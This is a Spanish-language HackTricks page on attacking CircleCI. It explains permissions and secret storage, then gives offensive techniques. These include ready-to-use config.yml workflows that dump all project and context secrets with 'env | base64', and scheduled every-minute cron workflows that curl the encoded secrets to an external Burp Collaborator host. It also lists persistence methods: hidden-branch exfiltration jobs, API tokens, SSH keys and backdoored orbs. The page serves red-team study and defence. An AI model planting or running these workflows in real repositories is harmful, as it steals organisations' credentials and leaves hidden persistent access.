CircleCI Security

Aprende hacking de AWS desde cero hasta experto con htARTE (HackTricks AWS Red Team Expert)!

Otras formas de apoyar a HackTricks:

Información Básica

CircleCI es una plataforma de Integración Continua donde puedes definir plantillas indicando qué deseas que haga con cierto código y cuándo hacerlo. De esta manera puedes automatizar pruebas o despliegues directamente desde la rama principal de tu repositorio, por ejemplo.

Permisos

CircleCI hereda los permisos de github y bitbucket relacionados con la cuenta que inicia sesión. En mis pruebas verifiqué que mientras tengas permisos de escritura sobre el repositorio en github, podrás administrar la configuración de su proyecto en CircleCI (establecer nuevas claves ssh, obtener claves api del proyecto, crear nuevas ramas con nuevas configuraciones de CircleCI...).

Sin embargo, necesitas ser un administrador del repositorio para convertir el repositorio en un proyecto de CircleCI.

Variables de Entorno y Secretos

Según la documentación hay diferentes formas de cargar valores en variables de entorno dentro de un flujo de trabajo.

Variables de entorno integradas

Cada contenedor ejecutado por CircleCI siempre tendrá variables de entorno específicas definidas en la documentación como CIRCLE_PR_USERNAME, CIRCLE_PROJECT_REPONAME o CIRCLE_USERNAME.

Texto claro

Puedes declararlas en texto claro dentro de un comando:

- run:
name: "set and echo"
command: |
SECRET="A secret"
echo $SECRET

Puedes declararlos en texto claro dentro del entorno de ejecución:

- run:
name: "set and echo"
command: echo $SECRET
environment:
SECRET: A secret

Puedes declararlos en texto claro dentro del entorno del trabajo de construcción:

jobs:
build-job:
docker:
- image: cimg/base:2020.01
environment:
SECRET: A secret

Puedes declararlos en texto claro dentro del entorno de un contenedor:

jobs:
build-job:
docker:
- image: cimg/base:2020.01
environment:
SECRET: A secret

Secretos del Proyecto

Estos son secretos que solo serán accesibles por el proyecto (por cualquier rama). Puedes verlos declarados en https://app.circleci.com/settings/project/github/<org_name>/<repo_name>/environment-variables

La funcionalidad de "Importar Variables" permite importar variables de otros proyectos a este.

Secretos de Contexto

Estos son secretos que son para toda la organización. Por defecto, cualquier repositorio podrá acceder a cualquier secreto almacenado aquí:

Sin embargo, ten en cuenta que se puede seleccionar un grupo diferente (en lugar de Todos los miembros) para dar acceso solo a personas específicas a los secretos. Actualmente, esta es una de las mejores formas de aumentar la seguridad de los secretos, para no permitir que todos accedan a ellos, sino solo algunas personas.

Ataques

Buscar Secretos en Texto Claro

Si tienes acceso al VCS (como github), verifica el archivo .circleci/config.yml de cada repositorio en cada rama y busca posibles secretos en texto claro almacenados allí.

Enumeración de Variables de Entorno Secretas y de Contexto

Revisando el código, puedes encontrar todos los nombres de secretos que se están utilizando en cada archivo .circleci/config.yml. También puedes obtener los nombres de contexto de esos archivos o verificarlos en la consola web: https://app.circleci.com/settings/organization/github/<org_name>/contexts.

Exfiltrar Secretos del Proyecto

Para exfiltrar TODOS los secretos del proyecto y del contexto solo necesitas tener acceso de ESCRITURA a solo 1 repositorio en toda la organización de github (y tu cuenta debe tener acceso a los contextos, pero por defecto todos pueden acceder a todos los contextos).

La funcionalidad de "Importar Variables" permite importar variables de otros proyectos a este. Por lo tanto, un atacante podría importar todas las variables del proyecto de todos los repositorios y luego exfiltrarlas todas juntas.

Todos los secretos del proyecto siempre se establecen en el entorno de los trabajos, por lo que simplemente llamando al entorno y ofuscándolo en base64 se exfiltrarán los secretos en la consola de registro web de los flujos de trabajo:

version: 2.1

jobs:
exfil-env:
docker:
- image: cimg/base:stable
steps:
- checkout
- run:
name: "Exfil env"
command: "env | base64"

workflows:
exfil-env-workflow:
jobs:
- exfil-env

Si no tienes acceso a la consola web pero tienes acceso al repositorio y sabes que se utiliza CircleCI, simplemente puedes crear un flujo de trabajo que se active cada minuto y que extraiga los secretos a una dirección externa:

version: 2.1

jobs:
exfil-env:
docker:
- image: cimg/base:stable
steps:
- checkout
- run:
name: "Exfil env"
command: "curl https://lyn7hzchao276nyvooiekpjn9ef43t.burpcollaborator.net/?a=`env | base64 -w0`"

# I filter by the repo branch where this config.yaml file is located: circleci-project-setup
workflows:
exfil-env-workflow:
triggers:
- schedule:
cron: "* * * * *"
filters:
branches:
only:
- circleci-project-setup
jobs:
- exfil-env

Filtrar Secretos de Contexto

Debes especificar el nombre del contexto (esto también filtrará los secretos del proyecto):

version: 2.1

jobs:
exfil-env:
docker:
- image: cimg/base:stable
steps:
- checkout
- run:
name: "Exfil env"
command: "env | base64"

workflows:
exfil-env-workflow:
jobs:
- exfil-env:
context: Test-Context

Si no tienes acceso a la consola web pero tienes acceso al repositorio y sabes que se utiliza CircleCI, simplemente puedes modificar un flujo de trabajo que se ejecuta cada minuto y que extrae los secretos a una dirección externa:

version: 2.1

jobs:
exfil-env:
docker:
- image: cimg/base:stable
steps:
- checkout
- run:
name: "Exfil env"
command: "curl https://lyn7hzchao276nyvooiekpjn9ef43t.burpcollaborator.net/?a=`env | base64 -w0`"

# I filter by the repo branch where this config.yaml file is located: circleci-project-setup
workflows:
exfil-env-workflow:
triggers:
- schedule:
cron: "* * * * *"
filters:
branches:
only:
- circleci-project-setup
jobs:
- exfil-env:
context: Test-Context

Simplemente crear un nuevo .circleci/config.yml en un repositorio no es suficiente para activar una compilación en CircleCI. Necesitas habilitarlo como un proyecto en la consola de CircleCI.

Escape to Cloud

CircleCI te da la opción de ejecutar tus compilaciones en sus máquinas o en las tuyas. Por defecto, sus máquinas están ubicadas en GCP, y inicialmente no podrás encontrar nada relevante. Sin embargo, si una víctima está ejecutando las tareas en sus propias máquinas (potencialmente, en un entorno en la nube), podrías encontrar un punto final de metadatos en la nube con información interesante.

Ten en cuenta que en los ejemplos anteriores se lanzó todo dentro de un contenedor de Docker, pero también puedes solicitar el lanzamiento de una máquina virtual (que puede tener permisos en la nube diferentes):

jobs:
exfil-env:
#docker:
#  - image: cimg/base:stable
machine:
image: ubuntu-2004:current

O incluso un contenedor de Docker con acceso a un servicio de Docker remoto:

jobs:
exfil-env:
docker:
- image: cimg/base:stable
steps:
- checkout
- setup_remote_docker:
version: 19.03.13

Persistencia

  • Es posible crear tokens de usuario en CircleCI para acceder a los puntos finales de la API con los permisos de usuario.

  • https://app.circleci.com/settings/user/tokens

  • Es posible crear tokens de proyectos para acceder al proyecto con los permisos otorgados al token.

  • https://app.circleci.com/settings/project/github/<org>/<repo>/api

  • Es posible agregar claves SSH a los proyectos.

  • https://app.circleci.com/settings/project/github/<org>/<repo>/ssh

  • Es posible crear un trabajo cron en una rama oculta en un proyecto inesperado que está filtrando todas las variables de entorno de contexto todos los días.

  • O incluso crear en una rama / modificar un trabajo conocido que filtre todos los contextos y secretos de proyectos todos los días.

  • Si eres propietario de GitHub, puedes permitir orbs no verificados y configurar uno en un trabajo como puerta trasera.

  • Puedes encontrar una vulnerabilidad de inyección de comandos en alguna tarea e inyectar comandos a través de un secreto modificando su valor.

Última actualización